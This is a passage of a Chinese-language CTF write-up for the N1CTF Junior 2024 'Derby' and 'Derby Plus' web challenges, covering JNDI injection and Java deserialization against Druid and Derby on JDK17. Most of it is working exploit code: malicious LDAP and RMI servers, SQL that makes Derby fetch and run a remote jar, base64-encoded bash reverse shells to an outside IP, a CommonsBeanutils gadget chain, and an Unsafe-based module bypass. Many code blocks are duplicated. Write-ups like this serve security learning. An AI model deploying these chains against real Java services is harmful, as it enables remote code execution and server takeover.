ref.add(new StringRefAddr("initialSize", "1"));
ref.add(new StringRefAddr("init", "true"));

但是这道题没有 H2 的依赖, 只有 Derby ,如何实现 RCE?

众所周知关于 Derby 的 JDBC 攻击思路大都是通过主从复制 (slaveHost/slavePort) 实现反序列化

但这道题并不是考察主从复制, 更何况 JNDI 本身也能够反序列化, 没有意义

思路就是第二篇文章, 通过 Derby SQL 加载远程 jar, 再调用 jar 内的方法, 实现 RCE (仔细阅读 Derby 的官方文档也可以发现)

那么必须得有个执行 SQL 的点, 上面的 H2 在 JDBC URL 内有 INIT 参数, 但是 Derby 没有这样的参数

这步其实就需要大家仔细阅读 DruidDataSourceFactory 的源码, 或者 Druid 的官方文档, 不难发现存在 initConnectionSqls 参数

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不过这些参数并不是写在 JDBC URL 里面, 而是跟上面的 driverClassName, url, username, password 一样, 写在 StringRefAddr 里面

StringRefAddr 只能传入字符串, 那么 initConnectionSqls 内的 SQL 语句就需要用分号分割

构造如下 payload

package com.example;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.util.ArrayList;
import java.util.List;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] args) {

        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);

            e.addAttribute("javaClassName", "foo");
            try {
                List list = new ArrayList<>();
                list.add("CALL SQLJ.INSTALL_JAR('http://host.docker.internal:8000/Evil.jar', 'APP.Evil', 0)");
                list.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil')");
                list.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec'");
                list.add("CALL cmd('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}')");

                Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
                ref.add(new StringRefAddr("url", "jdbc:derby:webdb;create=true"));
                ref.add(new StringRefAddr("init", "true"));
                ref.add(new StringRefAddr("initialSize", "1"));
                ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list)));

                e.addAttribute("javaSerializedData", SerializeUtil.serialize(ref));

                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            } catch (Exception exception) {
                exception.printStackTrace();
            }
        }
    }
}

准备一个 Evil.java

public class Evil {
    public static void exec(String cmd) throws Exception {
        Runtime.getRuntime().exec(cmd);
    }
}

目录结构

$ tree .
.
└── src
    └── Evil.java

2 directories, 1 file

编译 + 打包成 jar

javac src/Evil.java
jar -cvf Evil.jar -C src/ .

将 Evil.jar 使用 Web Server 托管, 然后启动 LDAP Server, 最后访问 url

http://127.0.0.1:10800/lookup?url=ldap://host.docker.internal:1389/a

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这种通过 JNDI 实现 Derby SQL RCE 的方法被我集成到了 JNDIMap 里面

项目地址: GitHub - X1r0z/JNDIMap: JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式. Contribute to X1r0z/JNDIMap development by creating an account on GitHub.icon-default.png?t=N7T8https://github.com/X1r0z/JNDIMap

payload

# 1. 加载远程 jar 并创建相关存储过程 (会自动创建数据库)
ldap://127.0.0.1:1389/Druid/Derby/Install/

# 2. 执行命令/原生反弹 Shell
ldap://127.0.0.1:1389/Druid/Derby/Command//open -a Calculator
ldap://127.0.0.1:1389/Druid/Derby/ReverseShell//ReverseShell/127.0.0.1/4444

# 3. 删除数据库以释放内存
ldap://127.0.0.1:1389/Druid/Derby/Drop/

法二:

Derby + Druid 高版本 JNDI JDBC Attack
又到了Java Time,当时晚上写这题的时候还踩了点坑,主要就是JDK17那个大坑,我就是不信邪,我就是想用Derby的readObject去打Jackson链,但其实现在想想一点都不可能,因为JDK限制了module

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.derby;

import javax.naming.Context;
import javax.naming.InitialContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "hello derby";
    }

    @RequestMapping({"/lookup"})
    public String lookup(@RequestParam String url) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup(url);
        return "ok";
    }
}

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//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.derby;

import javax.naming.Context;
import javax.naming.InitialContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "hello derby";
    }

    @RequestMapping({"/lookup"})
    public String lookup(@RequestParam String url) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup(url);
        return "ok";
    }
}

很干脆的一个JNDI入口点lookup。但JDK17,在这个环境下还是需要利用一些额外的类去绕过,在Tomcat某些版本是可以BeanFactory配合EL去实现命令执行的,这里是Druid,也可以绕过。
DruidDataSourceFactory#getObjectInstance

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
        if (obj != null && obj instanceof Reference) {
            Reference ref = (Reference)obj;
            if (!"javax.sql.DataSource".equals(ref.getClassName()) && !"com.alibaba.druid.pool.DruidDataSource".equals(ref.getClassName())) {
                return null;
            } else {
                Properties properties = new Properties();

                for(int i = 0; i < ALL_PROPERTIES.length; ++i) {
                    String propertyName = ALL_PROPERTIES[i];
                    RefAddr ra = ref.get(propertyName);
                    if (ra != null) {
                        String propertyValue = ra.getContent().toString();
                        properties.setProperty(propertyName, propertyValue);
                    }
                }

                return this.createDataSourceInternal(properties);
            }
        } else {
            return null;
        }
    }
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public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
        if (obj != null && obj instanceof Reference) {
            Reference ref = (Reference)obj;
            if (!"javax.sql.DataSource".equals(ref.getClassName()) && !"com.alibaba.druid.pool.DruidDataSource".equals(ref.getClassName())) {
                return null;
            } else {
                Properties properties = new Properties();

                for(int i = 0; i < ALL_PROPERTIES.length; ++i) {
                    String propertyName = ALL_PROPERTIES[i];
                    RefAddr ra = ref.get(propertyName);
                    if (ra != null) {
                        String propertyValue = ra.getContent().toString();
                        properties.setProperty(propertyName, propertyValue);
                    }
                }

                return this.createDataSourceInternal(properties);
            }
        } else {
            return null;
        }
    }

在这里有一个createDataSourceInternal操作
 

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在这个config方法最后会调用init方法
 

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在这里会有createPhysicalConnection方法
 

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最终在里面发起了JDBC连接。
 

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这时候就回到了JDBC-ATTACK的利用了
JDBC-Attack 利用汇总 - Boogiepop Doesn’t Laughicon-default.png?t=N7T8https://boogipop.com/2023/10/01/JDBC-Attack%20%E5%88%A9%E7%94%A8%E6%B1%87%E6%80%BB/
假如在这里有h2数据库的driver那就可以直接RCE,但很遗憾是没有的并且题目提示打derby。我一开始去想到的是derby的readobject,但实际上并不是,这里需要自己寻找一下。回到config方法,你会发现有一些初始化操作
 

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而这里我们效仿h2,也寻找是否有初始化的sql语句,到这里就转变为了sql可控的注入。而derby数据库也是可以加载Jar包的
derby数据库如何实现RCE - lvyyevd's 安全博客前言前段时间遇到了一个后台可以操作数据库语句的地方,且使用的数据库为derby,derby数据库可以作为内嵌数据库,要知道H2数据库可以利用alias别名,调用java代码进行命令执行。猜测derby数据库也有相应功能,一直翻阅官方文档,终于找到了一种RCE利用方式(应该还没有人发吧),在这里记录一icon-default.png?t=N7T8http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce

## 导入一个类到数据库中
CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)

## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')

## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法
CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'

## 调用PROCEDURE
CALL SALES.TOTAL_REVENUES()
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## 导入一个类到数据库中
CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)

## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')

## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法
CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'

## 调用PROCEDURE
CALL SALES.TOTAL_REVENUES()

那么最终poc就如下了:

package com.javasec.pocs.solutions.n1junior;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class DerbyEvilServer {
    public static void main(String[] args) {
        try{
            //Registry registry = LocateRegistry.getRegistry(8883);
            Registry registry = LocateRegistry.createRegistry(8883);
            Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
            String JDBC_URL = "jdbc:derby:dbname;create=true";
            String JDBC_USER = "root";
            String JDBC_PASSWORD = "password";

            ref.add(new StringRefAddr("driverClassName","org.apache.derby.jdbc.EmbeddedDriver"));
            ref.add(new StringRefAddr("url",JDBC_URL));
            ref.add(new StringRefAddr("username",JDBC_USER));
            ref.add(new StringRefAddr("password",JDBC_PASSWORD));
            ref.add(new StringRefAddr("initialSize","1"));
            ref.add(new StringRefAddr("initConnectionSqls","CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();"));
            ref.add(new StringRefAddr("init","true"));
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

            registry.bind("pop",referenceWrapper);
        }
        catch(Exception e){
            e.printStackTrace();
        }
    }
}

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package com.javasec.pocs.solutions.n1junior;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class DerbyEvilServer {
    public static void main(String[] args) {
        try{
            //Registry registry = LocateRegistry.getRegistry(8883);
            Registry registry = LocateRegistry.createRegistry(8883);
            Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
            String JDBC_URL = "jdbc:derby:dbname;create=true";
            String JDBC_USER = "root";
            String JDBC_PASSWORD = "password";

            ref.add(new StringRefAddr("driverClassName","org.apache.derby.jdbc.EmbeddedDriver"));
            ref.add(new StringRefAddr("url",JDBC_URL));
            ref.add(new StringRefAddr("username",JDBC_USER));
            ref.add(new StringRefAddr("password",JDBC_PASSWORD));
            ref.add(new StringRefAddr("initialSize","1"));
            ref.add(new StringRefAddr("initConnectionSqls","CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();"));
            ref.add(new StringRefAddr("init","true"));
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

            registry.bind("pop",referenceWrapper);
        }
        catch(Exception e){
            e.printStackTrace();
        }
    }
}

制作恶意jar包如下:

import java.io.IOException;

public class testShell4 {
    public static void exec() throws IOException {
        Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3NSA8JjE=}|{base64,-d}|{bash,-i}");
    }
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import java.io.IOException;

public class testShell4 {
    public static void exec() throws IOException {
        Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3NSA8JjE=}|{base64,-d}|{bash,-i}");
    }
}

最后可以看到反弹shell
 

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Derby Plus

法一:

这道题跟 Derby 的思路其实是一样的, 最终都是通过 JNDI 打 Derby SQL RCE

不同点在于这道题没有直接给出 JNDI 注入的点, 但是给出了 CB 链, 需要大家通过 CB 链构造一个 JNDI 注入

pom.xml 依赖


    
        org.springframework.boot
        spring-boot-starter-web
    
    
        commons-beanutils
        commons-beanutils
        1.8.3
    
    
        com.alibaba
        druid
        1.2.21
    
    
        org.apache.derby
        derby
        10.14.2.0
    

当然还是那句话, 因为模块化的访问机制导致不能用 CB/Jackson + TemplatesImpl/JdbcRowSetImpl 一把梭

这道题考察的也是一个非常经典的位于 Java 标准库的利用链: LdapAttribute

https://xz.aliyun.com/t/9126icon-default.png?t=N7T8https://xz.aliyun.com/t/9126

https://xz.aliyun.com/t/12910icon-default.png?t=N7T8https://xz.aliyun.com/t/12910

反序列化新的Gadget:com.sun.jndi.ldap.LdapAttribute-CSDN博客文章浏览阅读930次。这个CTF是1.4的Java。同时由于这个类在1.8中依然存在,所以也可以在1.8利用:一些新手可能会被 ysoserial 里标注的利用链依赖库版本所迷惑,认为某个链就只能在对应标注的依赖版本下起作用,其实并非如此。像 ysoserial 里 CommonsBeanutils1 这个链,作者标注的依赖版本是:commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2但这些版本实际上反映的只是 ysoserial 作者在_com.sun.jndi.ldap.ldapattributehttps://blog.csdn.net/caiqiiqi/article/details/112602151

payload

Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor constructor = clazz.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance("name");

ReflectUtil.setFieldValue(obj, "baseCtxURL", "ldap://host.docker.internal:1389/");
ReflectUtil.setFieldValue(obj, "rdn", new CompositeName("a/b"));

BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("1");

beanComparator.setProperty("attributeDefinition");
ReflectUtil.setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});

System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(priorityQueue)));

后续流程跟上面 Derby 题目一样

法二:(具体分析)

Druiddatasource getter gadgets + JDBC Attack
入口点变成了反序列化

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.derbyplus;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "hello derby plus";
    }

    @RequestMapping({"/deserialize"})
    public String deserialize(@RequestBody String body) throws Exception {
        byte[] data = Base64.getDecoder().decode(body);
        ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(data));

        try {
            input.readObject();
        } catch (Throwable var7) {
            try {
                input.close();
            } catch (Throwable var6) {
                var7.addSuppressed(var6);
            }

            throw var7;
        }

        input.close();
        return "ok";
    }
}
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//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.derbyplus;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "hello derby plus";
    }

    @RequestMapping({"/deserialize"})
    public String deserialize(@RequestBody String body) throws Exception {
        byte[] data = Base64.getDecoder().decode(body);
        ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(data));

        try {
            input.readObject();
        } catch (Throwable var7) {
            try {
                input.close();
            } catch (Throwable var6) {
                var7.addSuppressed(var6);
            }

            throw var7;
        }

        input.close();
        return "ok";
    }
}

并且给了cb依赖
 

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已经是赤裸裸的在勾引了。打一个getter去触发getconnection,所以都不需要思考就找到了
DruidDataSource#getConnection
 

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并且这里刚好就有init方法,我们可以同样去打jdbc然后rce。

package org.example;

import com.alibaba.druid.pool.DruidDataSource;
import org.apache.commons.beanutils.BeanComparator;
import sun.misc.Unsafe;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;

public class DerbyPlusExp {
    public static void main(String[] args) throws Exception {
        final ArrayList classes = new ArrayList<>();
        classes.add(Class.forName("java.lang.reflect.Field"));
        classes.add(Class.forName("java.lang.reflect.Method"));
        classes.add(Class.forName("java.util.HashMap"));
        classes.add(Class.forName("java.util.Properties"));
        classes.add(Class.forName("java.util.PriorityQueue"));
        classes.add(Class.forName("org.apache.commons.beanutils.BeanComparator"));
        classes.add(Class.forName("com.alibaba.druid.pool.DruidDataSource"));
        new DerbyPlusExp().bypassModule(classes);
        DruidDataSource druidDataSource = new DruidDataSource();
        druidDataSource.setUrl("jdbc:derby:dbname;create=true");
        druidDataSource.setDriverClassName("org.apache.derby.jdbc.EmbeddedDriver");
        druidDataSource.setInitialSize(1);
        StringTokenizer tokenizer = new StringTokenizer("CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();", ";");
        druidDataSource.setConnectionInitSqls(Collections.list(tokenizer));
        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        //bypass PriorityQueue对druidDataSource的module限制,因为存在调用
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Module baseModule = druidDataSource.getClass().getModule();
        Class currentClass = PriorityQueue.class;
        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.putObject(currentClass, offset, baseModule);
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue queue = new PriorityQueue(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("2");
        setFieldValue(comparator, "property", "connection");
        setFieldValue(druidDataSource,"logWriter",null);
        setFieldValue(druidDataSource,"statLogger",null);
        setFieldValue(druidDataSource,"transactionHistogram",null);
        setFieldValue(druidDataSource,"initedLatch",null);
        setFieldValue(queue, "queue", new Object[]{druidDataSource, druidDataSource});
        String s = base64serial(queue);
        s.replace("+","%2b");
        System.out.println(s);
        deserTester(queue);
    }
    private static Method getMethod(Class clazz, String methodName, Class[]
            params) {
        Method method = null;
        while (clazz!=null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }
    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
    public void bypassModule(ArrayList classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new
                        Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new
                                Object[]{});
                        unsafe.getAndSetObject(currentClass,
                                unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static void deserTester(Object o) throws Exception {
        base64deserial(base64serial(o));
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.setAccessible(true);
        if(field != null) {
            field.set(obj, value);
        }
    }
    public static Field getField(final Class clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
    public static void base64deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
    public static String base64serial(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }
}

 
  
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package org.example;

import com.alibaba.druid.pool.DruidDataSource;
import org.apache.commons.beanutils.BeanComparator;
import sun.misc.Unsafe;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;

public class DerbyPlusExp {
    public static void main(String[] args) throws Exception {
        final ArrayList classes = new ArrayList<>();
        classes.add(Class.forName("java.lang.reflect.Field"));
        classes.add(Class.forName("java.lang.reflect.Method"));
        classes.add(Class.forName("java.util.HashMap"));
        classes.add(Class.forName("java.util.Properties"));
        classes.add(Class.forName("java.util.PriorityQueue"));
        classes.add(Class.forName("org.apache.commons.beanutils.BeanComparator"));
        classes.add(Class.forName("com.alibaba.druid.pool.DruidDataSource"));
        new DerbyPlusExp().bypassModule(classes);
        DruidDataSource druidDataSource = new DruidDataSource();
        druidDataSource.setUrl("jdbc:derby:dbname;create=true");
        druidDataSource.setDriverClassName("org.apache.derby.jdbc.EmbeddedDriver");
        druidDataSource.setInitialSize(1);
        StringTokenizer tokenizer = new StringTokenizer("CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();", ";");
        druidDataSource.setConnectionInitSqls(Collections.list(tokenizer));
        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        //bypass PriorityQueue对druidDataSource的module限制,因为存在调用
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Module baseModule = druidDataSource.getClass().getModule();
        Class currentClass = PriorityQueue.class;
        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.putObject(currentClass, offset, baseModule);
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue queue = new PriorityQueue(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("2");
        setFieldValue(comparator, "property", "connection");
        setFieldValue(druidDataSource,"logWriter",null);
        setFieldValue(druidDataSource,"statLogger",null);
        setFieldValue(druidDataSource,"transactionHistogram",null);
        setFieldValue(druidDataSource,"initedLatch",null);
        setFieldValue(queue, "queue", new Object[]{druidDataSource, druidDataSource});
        String s = base64serial(queue);
        s.replace("+","%2b");
        System.out.println(s);
        deserTester(queue);
    }
    private static Method getMethod(Class clazz, String methodName, Class[]
            params) {
        Method method = null;
        while (clazz!=null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }
    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
    public void bypassModule(ArrayList classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new
                        Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new
                                Object[]{});
                        unsafe.getAndSetObject(currentClass,
                                unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static void deserTester(Object o) throws Exception {
        base64deserial(base64serial(o));
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.setAccessible(true);
        if(field != null) {
            field.set(obj, value);
        }
    }
    public static Field getField(final Class clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
    public static void base64deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
    public static String base64serial(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }
}

 

环境是JDK17,注意一下payload生成。
 

N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)_第30张图片


 

N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)_第31张图片


这里需要学习的点就是jdk17如何bypass module的限制,这一点其实早在Kcon2021 Beichen师傅就已经提出了,也是学到了很多。

总结

小北觉得这一次的N1 Junior的题大部分都有个共同性,就是二次思维,也就是单次Attack无法达到利用,那就double attack!!!

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